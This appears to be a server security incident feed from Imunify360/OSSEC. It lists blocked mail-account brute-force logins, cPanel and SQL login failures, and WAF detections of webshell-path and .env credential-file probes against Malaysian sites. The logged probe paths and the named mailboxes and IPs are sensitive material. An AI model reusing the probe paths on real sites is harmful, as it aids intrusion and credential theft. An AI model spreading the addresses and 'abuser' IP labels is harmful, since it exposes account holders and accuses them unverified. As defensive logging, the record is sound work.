# incident

plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.20.68
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.31.157
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.238.10
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.61.93
country_id: 1814991
domain: www.nexuscollection.com
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:35:08 dovecot_login authenticator failed for H=(ek1O0IL3) [178.16.54.138]:60593: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:36:46 dovecot_login authenticator failed for H=(AEOSOWCxx) [178.16.54.138]:61416: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/translation/Loader/schema/dic/xliff-core/xliff-core-1.2-strict.xsd||User:visoftcom||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.23.255.236
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=872055 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-content/themes/apm/images/faq.php||SC:/home/sutsbcom/public_html/wp-content/themes/apm||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.108.88.121
country_id: 1814991
description:
2026-01-30 18:37:11 dovecot_login authenticator failed for H=([113.108.88.121]) [113.108.88.121]:49818: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:37:22 dovecot_login authenticator failed for H=(wSZ4Jq4EP) [178.16.54.138]:56182: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-01-30 18:37:34 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:36018: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.163.223
country_id: 2186224
description:
2026-01-30 18:38:41 dovecot_login authenticator failed for H=([121.73.163.223]) [121.73.163.223]:49142: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:38:45 dovecot_login authenticator failed for H=(xRBkVc) [178.16.54.138]:55101: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-01-30 18:38:54 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:10284: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:39:19 dovecot_login authenticator failed for H=(mkkBk91) [178.16.54.138]:65190: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.42.225.40
country_id: 2510769
description:
2026-01-30 18:39:13 dovecot_login authenticator failed for H=40.red-81-42-225.staticip.rima-tde.net [81.42.225.40]:57730: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-01-30 18:39:14 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:58086: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.64.13.167
country_id: 2017370
description:
2026-01-30 18:40:39 dovecot_login authenticator failed for H=([178.64.13.167]) [178.64.13.167]:47842: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.133.56
country_id: 99237
description:
2026-01-30 18:40:54 dovecot_login authenticator failed for H=([65.20.133.56]) [65.20.133.56]:53847: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 18:40:20 H=(localhost.localdomain) [45.150.192.143]:36590 F=<info@kapkenya.org> temporarily rejected RCPT <info@pspoly.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:40:38 dovecot_login authenticator failed for H=(jpQKGNW) [178.16.54.138]:53545: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.169.109
country_id: 2186224
description:
2026-01-30 18:40:41 dovecot_login authenticator failed for H=([121.73.169.109]) [121.73.169.109]:56550: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:41:13 dovecot_login authenticator failed for H=(Rw5A2g) [178.16.54.138]:58610: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 52.191.41.19
country_id: 6252001
domain: nexuscollection.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/144.0.0.0 Safari/537.36||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.74.194.86
country_id: 1522867
description:
2026-01-30 18:41:34 dovecot_login authenticator failed for H=(2-74-194-86.kcell.kz) [2.74.194.86]:43839: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-01-30 18:41:07 dovecot_login authenticator failed for H=([171.244.60.35]) [171.244.60.35]:3110: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.12.14.58
country_id: 1814991
description:
2026-01-30 18:41:26 dovecot_login authenticator failed for H=([210.12.14.58]) [210.12.14.58]:43762: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.239.217.154
country_id: 3041565
description:
2026-01-30 18:42:07 dovecot_login authenticator failed for H=(ADMIN) [173.239.217.154]:15681: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-01-30 18:42:41 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:45266: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:42:30 dovecot_login authenticator failed for H=(Q9p7TY9E) [178.16.54.138]:55285: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:43:12 dovecot_login authenticator failed for H=(5jOjERrcn) [178.16.54.138]:53404: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.206.113.91
country_id: 1835841
description:
2026-01-30 18:43:41 dovecot_login authenticator failed for H=([175.206.113.91]) [175.206.113.91]:58140: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-01-30 18:43:18 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:48968: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.37.181.181
country_id: 1831722
description:
2026-01-30 18:44:55 dovecot_login authenticator failed for H=([36.37.181.181]) [36.37.181.181]:52064: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.118.107.125
country_id: 1814991
description:
2026-01-30 18:44:45 dovecot_login authenticator failed for H=([111.206.233.34]) [123.118.107.125]:42895: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:44:22 dovecot_login authenticator failed for H=(J20sezg) [178.16.54.138]:51413: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.183
country_id: 2750405
description:
2026-01-30 18:44:28 1038213 [Warning] Aborted connection 1038213 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.183' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.244.154.11
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/translation/Formatter/ChoiceMessageFormatterInterface.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:45:29 dovecot_login authenticator failed for H=(57tV3efX) [178.16.54.138]:53807: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.1.138.184
country_id: 1814991
description:
2026-01-30 18:45:45 dovecot_login authenticator failed for H=([218.1.138.184]) [218.1.138.184]:59388: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-01-30 18:45:45 dovecot_login authenticator failed for H=([175.180.129.87]) [175.180.129.87]:37274: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.167
country_id: 2750405
description:
2026-01-30 18:45:20 1038234 [Warning] Aborted connection 1038234 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.167' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.64.206
country_id: 1269750
description:
2026-01-30 18:46:02 dovecot_login authenticator failed for H=(nsg-corporate-113.254.185.122.airtel.in) [122.186.64.206]:44880: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:46:06 dovecot_login authenticator failed for H=(tRbgLF) [178.16.54.138]:52283: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.188.253.150
country_id: 1269750
description:
2026-01-30 18:46:46 dovecot_login authenticator failed for H=([180.188.253.150]) [180.188.253.150]:53174: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-01-30 18:46:15 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:52044: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.167
country_id: 2750405
description:
2026-01-30 18:46:36 1038268 [Warning] Aborted connection 1038268 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.167' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.189.239.206
country_id: 1814991
description:
2026-01-30 18:47:10 dovecot_login authenticator failed for H=([220.189.239.206]) [220.189.239.206]:41912: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:47:15 dovecot_login authenticator failed for H=(fIJN0VfPvo) [178.16.54.138]:55756: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/cdn-cgi/l/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.10.64.2
country_id: 6252001
domain: fkr.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env/.env.bak||User:fkrcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.107.158
country_id: 226074
description:
2026-01-30 18:48:25 dovecot_login authenticator failed for H=([196.0.107.158]) [196.0.107.158]:47048: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.166.176.136
country_id: 2139685
description:
2026-01-30 18:48:37 dovecot_login authenticator failed for H=host-202-166-176-136.static.lagoon.nc [202.166.176.136]:52458: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.167
country_id: 2750405
description:
2026-01-30 18:49:38 1038357 [Warning] Aborted connection 1038357 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.167' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.71.84.38
country_id: 3469034
description:
2026-01-30 18:50:11 dovecot_login authenticator failed for H=([200.71.84.38]) [200.71.84.38]:35746: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.48.229.117
country_id: 3469034
description:
2026-01-30 18:50:25 dovecot_login authenticator failed for H=ip-179.48.229.117.fiberlinkpe.net.br (ip-179.48.229.118.fiberlinkpe.net.br) [179.48.229.117]:55466: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.223.96.43
country_id: 2661886
domain: krisfood.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-content/uploads/BbUMY/flower.php||SC:/home2/krisfood/public_html/wp-content||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 144.31.238.24
country_id: 6252001
description:
[2026-01-30 18:50:02 +0800] info [cpaneld] 144.31.238.24 - itdept@ajplantations.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.223.96.43
country_id: 2661886
domain: krisfood.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-includes/images/about.php||SC:/home2/krisfood/public_html/wp-includes||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.183.10.127
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=2&sub=6 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.243
country_id: 1814991
description:
2026-01-30 18:51:56 dovecot_login authenticator failed for H=([111.61.176.243]) [111.61.176.243]:20490: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-01-30 18:51:56 dovecot_login authenticator failed for H=([37.57.69.227]) [37.57.69.227]:56192: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.24.141.119
country_id: 1814991
description:
2026-01-30 18:52:14 dovecot_login authenticator failed for H=([27.24.141.119]) [27.24.141.119]:59560: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.48.112.8
country_id: 1835841
description:
2026-01-30 18:52:26 dovecot_login authenticator failed for H=([14.48.112.8]) [14.48.112.8]:1662: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.86.4
country_id: 1814991
description:
2026-01-30 18:52:27 dovecot_login authenticator failed for H=([60.174.86.4]) [60.174.86.4]:60477: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 18:52:55 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (catifinus) [87.103.126.54]:57219: 535 Incorrect authentication data (set_id=khairul_aa@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.36
country_id: 1269750
description:
2026-01-30 18:52:26 dovecot_login authenticator failed for H=([122.187.229.36]) [122.187.229.36]:59937: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.215.204.109
country_id: 3469034
description:
2026-01-30 18:52:36 dovecot_login authenticator failed for H=(igrejadorecreio.static.host.gvt.net.br) [186.215.204.109]:51654: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-01-30 18:53:10 dovecot_login authenticator failed for H=(227.69.57.37.triolan.net) [37.57.69.227]:38122: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.134
country_id: 1269750
description:
2026-01-30 18:55:41 dovecot_login authenticator failed for H=([182.95.215.73]) [182.95.230.134]:56634: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.202.139.244
country_id: 1835841
description:
2026-01-30 18:55:43 dovecot_login authenticator failed for H=([119.202.139.244]) [119.202.139.244]:34883: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.216.66
country_id: 1269750
description:
2026-01-30 18:55:28 dovecot_login authenticator failed for H=([182.66.234.193]) [125.19.216.66]:45346: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:56:06 dovecot_login authenticator failed for H=(mmNUtA) [178.16.54.138]:52304: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 144.31.238.24
country_id: 6252001
description:
[2026-01-30 18:57:21 +0800] info [cpaneld] 144.31.238.24 - payment@tujusetia.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.178.122
country_id: 1269750
description:
2026-01-30 18:57:54 dovecot_login authenticator failed for H=([128.185.223.36]) [182.95.178.122]:35164: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/finder/Tests/Fixtures/A/a.dat||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:57:32 dovecot_login authenticator failed for H=(o9uRSIMGY) [178.16.54.138]:56590: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-01-30 18:57:52 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:33154: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:58:10 dovecot_login authenticator failed for H=(5QLe5BkWx) [178.16.54.138]:64635: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-01-30 18:58:23 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:40320: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 177.162.3.88
country_id: 3469034
domain: mokshana.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:85125.mokshana.com.my||ServerName:mokshana.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5546540017db69bd26cff206d8228aaf90405d61||Title:0xd7bd59f4||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:59:34 dovecot_login authenticator failed for H=(AXhN6c) [178.16.54.138]:52135: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.179.17.119
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=60091516587529 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:00:13 dovecot_login authenticator failed for H=(RhLQuHI) [178.16.54.138]:64032: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 19:00:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:58345: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-01-30 19:00:13 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:14976: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-01-30 19:01:39 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:48916: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.177.121.42
country_id: 1562822
domain: aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/aoto.com.my/product.php?category&sub=Fun Clear HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.214.164.31
country_id: 6252001
description:
2026-01-30 19:01:52 dovecot_login authenticator failed for H=(ADMIN) [181.214.164.31]:9157: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:01:14 dovecot_login authenticator failed for H=(bjAlTRk) [178.16.54.138]:54720: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.183.138
country_id: 1269750
description:
2026-01-30 19:02:36 dovecot_login authenticator failed for H=([125.23.183.138]) [125.23.183.138]:40360: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:02:13 dovecot_login authenticator failed for H=(kFHXFv) [185.230.124.69]:61623: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.62.62
country_id: 1149361
description:
2026-01-30 19:02:56 dovecot_login authenticator failed for H=([149.54.62.62]) [149.54.62.62]:46825: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.223.168.28
country_id: 2963597
domain: ajresorts.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-content/uploads/BbUMY/flower.php||SC:/home2/ajresortscom/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/images/images/article.php||SC:/home/indfinitydesign/public_html/images/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:02:17 dovecot_login authenticator failed for H=(mFzRDj7sk) [178.16.54.138]:63672: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:03:22 dovecot_login authenticator failed for H=(m4pTVQ) [178.16.54.138]:51985: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:03:05 dovecot_login authenticator failed for H=(2fjbXkMz) [185.230.124.69]:57596: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.136.221.212
country_id: 2921044
description:
2026-01-30 19:03:26 dovecot_plain authenticator failed for H=p5488ddd4.dip0.t-ipconnect.de (progree) [84.136.221.212]:35097: 535 Incorrect authentication data (set_id=khairul_aa@ajplantations.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.171.159.145
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=940617 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.184.36.53
country_id: 1814991
description:
2026-01-30 19:04:01 dovecot_login authenticator failed for H=([61.184.36.58]) [61.184.36.53]:43187: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.127.156
country_id: 1880251
domain: www.task.visoft.com.my
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:04:38 dovecot_login authenticator failed for H=(Sq36t2h) [178.16.54.138]:52714: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.61.176.110
country_id: 3469034
description:
2026-01-30 19:04:41 dovecot_login authenticator failed for H=(177-61-176-110.dsl.telesp.net.br) [177.61.176.110]:52681: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:04:17 dovecot_login authenticator failed for H=(saWwixDoW) [185.230.124.69]:53808: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.117.0.253
country_id: 1835841
description:
